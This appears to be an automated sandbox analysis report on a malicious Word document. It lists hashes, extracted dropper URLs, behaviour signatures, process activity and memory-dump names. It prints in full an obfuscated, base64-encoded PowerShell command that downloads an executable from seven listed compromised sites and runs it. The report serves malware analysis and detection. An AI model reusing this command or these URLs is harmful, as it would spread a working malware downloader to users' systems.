Analysis
- max time kernel
142s - max time network
125s - platform
windows10-2004_x64 - resource
win10v2004-20240419-en - resource tags
- submitted
02/05/2024, 15:14
General
- Target 0eda2dd4ae9e61832a1ff4e384ef52b4_JaffaCakes118.doc
- Size 176KB
- Sample240502-smpjvadf48
- SHA256 8ca55b541f0bd011f1cdde6a769f81496ab0b6df7d1d053cb68aacdcfb05b860
Malware Config
Extracted
-
ps1
-
exe.dropper
http://reseller-demo-website.com/discussion/qWWf8FS/
-
exe.dropper
https://www.mockdumps.com/test/Z2pJ/
-
exe.dropper
https://twisterprint.com/chrometheme/Vcr/
-
exe.dropper
http://simulations.org/rw_common/KfX2MW/
-
exe.dropper
http://planosdesaudesemcarencia.com/erros/JHoq/
-
exe.dropper
https://viaje-achina.com/wp-admin/A1O8tL/
-
exe.dropper
https://cearacultural.com.br/turismo/oy/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 6 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0eda2dd4ae9e61832a1ff4e384ef52b4_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -en JABRAGsAeQBfAHoAYwByAD0AKAAnAE8AagAnACsAKAAnAGIAYQAnACsAJwA0ADQAJwApACsAJwAxACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAdQBzAEUAUgBwAHIAbwBmAEkATABFAFwAaQB4AF8AVQAwAGUARQBcAEQAYQAzAEkAcABmAHYAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIARQBDAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAFUAcgBpAHQAYAB5AGAAcABSAG8AdABPAGAAQwBvAEwAIgAgAD0AIAAoACgAJwB0AGwAcwAxADIAJwArACcALAAnACsAJwAgACcAKQArACcAdABsACcAKwAnAHMAJwArACcAMQAxACcAKwAoACcALAAnACsAJwAgAHQAbABzACcAKQApADsAJABQADQAZAA1AGIAZABpACAAPQAgACgAKAAnAEEAdgAnACsAJwBiACcAKQArACgAJwBqAGoAeAB4ACcAKwAnAF8AJwApACsAJwBiACcAKQA7ACQATgBsAGQAaQBrAHEAaQA9ACgAJwBFACcAKwAoACcAMgBwACcAKwAnAGoANwAnACsAJwBqAGcAJwApACkAOwAkAEMAZgBfAHkAbAA3AHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAwAH0ASQB4AF8AJwArACgAJwB1ADAAJwArACcAZQBlACcAKQArACcAewAwAH0ARABhADMAaQAnACsAJwBwAGYAJwArACcAdgB7ADAAJwArACcAfQAnACkAIAAtAGYAWwBjAGgAYQByAF0AOQAyACkAKwAkAFAANABkADUAYgBkAGkAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABaAHoAZABkAG4AbgBsAD0AKAAnAEYAJwArACcANQBkACcAKwAoACcAbAAnACsAJwBvAF8AeQAnACkAKQA7ACQAWAA0ADcANABmAHkAMgA9ACYAKAAnAG4AJwArACcAZQB3AC0AbwBiAGoAZQAnACsAJwBjAHQAJwApACAATgBlAFQALgB3AGUAYgBjAEwAaQBFAE4AdAA7ACQAUQBhADkAdwA1ADgAdwA9ACgAKAAnAGgAdAB0ACcAKwAnAHAAOgAvAC8AJwArACcAcgBlAHMAZQAnACkAKwAoACcAbABsAGUAcgAtACcAKwAnAGQAZQAnACsAJwBtACcAKQArACcAbwAtACcAKwAnAHcAZQAnACsAJwBiAHMAJwArACcAaQAnACsAJwB0AGUAJwArACcALgBjACcAKwAnAG8AJwArACcAbQAvACcAKwAoACcAZABpACcAKwAnAHMAYwB1AHMAJwApACsAKAAnAHMAJwArACcAaQBvAG4ALwBxAFcAVwBmACcAKwAnADgARgAnACkAKwAoACcAUwAnACsAJwAvACoAJwArACcAaAB0AHQAJwApACsAKAAnAHAAcwAnACsAJwA6AC8ALwB3ACcAKQArACcAdwB3ACcAKwAoACcALgBtACcAKwAnAG8AJwArACcAYwBrAGQAdQBtAHAAcwAuAGMAJwApACsAJwBvAG0AJwArACcALwAnACsAKAAnAHQAJwArACcAZQBzAHQALwAnACsAJwBaADIAcABKAC8AKgAnACsAJwBoACcAKQArACcAdAB0ACcAKwAoACcAcABzADoAJwArACcALwAnACkAKwAoACcALwB0ACcAKwAnAHcAaQAnACkAKwAoACcAcwAnACsAJwB0AGUAJwApACsAKAAnAHIAcAAnACsAJwByAGkAJwApACsAKAAnAG4AdAAnACsAJwAuACcAKQArACgAJwBjAG8AJwArACcAbQAnACsAJwAvAGMAaAByAG8AJwApACsAKAAnAG0AZQAnACsAJwB0AGgAZQAnACkAKwAoACcAbQBlAC8AVgAnACsAJwBjAHIAJwArACcALwAqACcAKQArACgAJwBoACcAKwAnAHQAdAAnACkAKwAoACcAcAA6AC8ALwAnACsAJwBzACcAKQArACcAaQBtACcAKwAoACcAdQAnACsAJwBsAGEAJwApACsAKAAnAHQAaQBvACcAKwAnAG4AcwAuAG8AcgAnACsAJwBnACcAKQArACcALwAnACsAKAAnAHIAdwBfAGMAJwArACcAbwBtACcAKQArACgAJwBtAG8AJwArACcAbgAvACcAKwAnAEsAZgAnACkAKwAnAFgAMgAnACsAKAAnAE0AVwAvACoAaAB0AHQAJwArACcAcAA6AC8AJwArACcALwBwACcAKwAnAGwAYQAnACkAKwAnAG4AJwArACcAbwAnACsAKAAnAHMAJwArACcAZABlAHMAJwArACcAYQB1AGQAZQBzAGUAJwArACcAbQBjACcAKQArACcAYQAnACsAJwByAGUAJwArACcAbgBjACcAKwAnAGkAYQAnACsAJwAuACcAKwAnAGMAbwAnACsAKAAnAG0ALwAnACsAJwBlAHIAcgBvAHMALwAnACkAKwAnAEoAJwArACgAJwBIAG8AJwArACcAcQAvACoAaAB0ACcAKwAnAHQAcAAnACkAKwAnAHMAOgAnACsAKAAnAC8ALwB2AGkAYQBqAGUAJwArACcALQBhACcAKQArACgAJwBjACcAKwAnAGgAaQBuAGEALgAnACkAKwAnAGMAJwArACcAbwBtACcAKwAoACcALwB3AHAAJwArACcALQAnACkAKwAoACcAYQBkACcAKwAnAG0AaQAnACsAJwBuAC8AQQAxAE8AOAB0ACcAKQArACcATAAnACsAKAAnAC8AJwArACcAKgBoAHQAJwApACsAKAAnAHQAcABzACcAKwAnADoALwAnACkAKwAoACcALwBjAGUAJwArACcAYQByACcAKQArACgAJwBhAGMAdQBsACcAKwAnAHQAdQByAGEAJwArACcAbAAnACsAJwAuACcAKwAnAGMAbwBtAC4AYgAnACkAKwAoACcAcgAvACcAKwAnAHQAJwApACsAJwB1ACcAKwAoACcAcgAnACsAJwBpAHMAJwArACcAbQBvAC8AbwB5AC8AJwApACkALgAiAFMAcABMAGAAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAWQA2AHQAZwB6AGwAXwA9ACgAJwBVAG4AJwArACgAJwB3ADAAbQAzACcAKwAnADEAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABXAGsAZQBuADgAaQBnACAAaQBuACAAJABRAGEAOQB3ADUAOAB3ACkAewB0AHIAeQB7ACQAWAA0ADcANABmAHkAMgAuACIAZABgAG8AdwBuAEwAbwBhAGQAZgBpAGAATABlACIAKAAkAFcAawBlAG4AOABpAGcALAAgACQAQwBmAF8AeQBsADcAcgApADsAJABDAGMAeAAwADgAMAByAD0AKAAoACcAQQBkACcAKwAnAGIAcQBtADgAJwApACsAJwBiACcAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABDAGYAXwB5AGwANwByACkALgAiAGwARQBgAE4AZwBUAEgAIgAgAC0AZwBlACAAMgAzADgAMAAwACkAIAB7ACYAKAAnAEkAbgAnACsAJwB2AG8AawBlACcAKwAnAC0ASQB0AGUAbQAnACkAKAAkAEMAZgBfAHkAbAA3AHIAKQA7ACQAVABsAGEAMQBfAHMAegA9ACgAKAAnAE4AJwArACcAawBfADMAbQAnACkAKwAnAHkAcAAnACkAOwBiAHIAZQBhAGsAOwAkAEkAaABtAG4AMQA0AF8APQAoACcASgAnACsAJwBmACcAKwAoACcAdwBrACcAKwAnAHUAagA4ACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABLADcAdwBxAHoAYwBkAD0AKAAnAFkAJwArACgAJwBqAG8AeQByAG8AJwArACcAeQAnACkAKQA=1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_chkl0ytt.mpi.ps1
TM02851223[[fn=iso690]].xsl
memory/1788-69-0x00007FF91B2D0000-0x00007FF91B4C5000-memory.dmp
memory/1788-85-0x00007FF91B2D0000-0x00007FF91B4C5000-memory.dmp
memory/1788-75-0x0000028EEC740000-0x0000028EEC762000-memory.dmp
memory/4016-13-0x00007FF91B2D0000-0x00007FF91B4C5000-memory.dmp
memory/4016-29-0x00007FF91B2D0000-0x00007FF91B4C5000-memory.dmp
memory/4016-7-0x00007FF8DB350000-0x00007FF8DB360000-memory.dmp
memory/4016-8-0x00007FF91B2D0000-0x00007FF91B4C5000-memory.dmp
memory/4016-10-0x00007FF91B2D0000-0x00007FF91B4C5000-memory.dmp
memory/4016-11-0x00007FF8D8A20000-0x00007FF8D8A30000-memory.dmp
memory/4016-9-0x00007FF91B2D0000-0x00007FF91B4C5000-memory.dmp
memory/4016-12-0x00007FF91B2D0000-0x00007FF91B4C5000-memory.dmp
memory/4016-15-0x00007FF91B2D0000-0x00007FF91B4C5000-memory.dmp
memory/4016-14-0x00007FF91B2D0000-0x00007FF91B4C5000-memory.dmp
memory/4016-17-0x00007FF8D8A20000-0x00007FF8D8A30000-memory.dmp
memory/4016-18-0x00007FF91B2D0000-0x00007FF91B4C5000-memory.dmp
memory/4016-16-0x00007FF91B2D0000-0x00007FF91B4C5000-memory.dmp
memory/4016-0-0x00007FF8DB350000-0x00007FF8DB360000-memory.dmp
memory/4016-28-0x00007FF91B2D0000-0x00007FF91B4C5000-memory.dmp
memory/4016-6-0x00007FF8DB350000-0x00007FF8DB360000-memory.dmp
memory/4016-5-0x00007FF91B2D0000-0x00007FF91B4C5000-memory.dmp
memory/4016-4-0x00007FF91B2D0000-0x00007FF91B4C5000-memory.dmp
memory/4016-2-0x00007FF8DB350000-0x00007FF8DB360000-memory.dmp
memory/4016-3-0x00007FF8DB350000-0x00007FF8DB360000-memory.dmp
memory/4016-91-0x00007FF91B2D0000-0x00007FF91B4C5000-memory.dmp
memory/4016-92-0x00007FF91B36D000-0x00007FF91B36E000-memory.dmp
memory/4016-95-0x00007FF91B2D0000-0x00007FF91B4C5000-memory.dmp
memory/4016-1-0x00007FF91B36D000-0x00007FF91B36E000-memory.dmp
memory/4016-571-0x00007FF91B2D0000-0x00007FF91B4C5000-memory.dmp
memory/4016-572-0x00007FF91B2D0000-0x00007FF91B4C5000-memory.dmp
memory/4016-573-0x00007FF91B2D0000-0x00007FF91B4C5000-memory.dmp
memory/4016-595-0x00007FF8DB350000-0x00007FF8DB360000-memory.dmp
memory/4016-596-0x00007FF8DB350000-0x00007FF8DB360000-memory.dmp
memory/4016-597-0x00007FF8DB350000-0x00007FF8DB360000-memory.dmp
memory/4016-594-0x00007FF8DB350000-0x00007FF8DB360000-memory.dmp
memory/4016-598-0x00007FF91B2D0000-0x00007FF91B4C5000-memory.dmp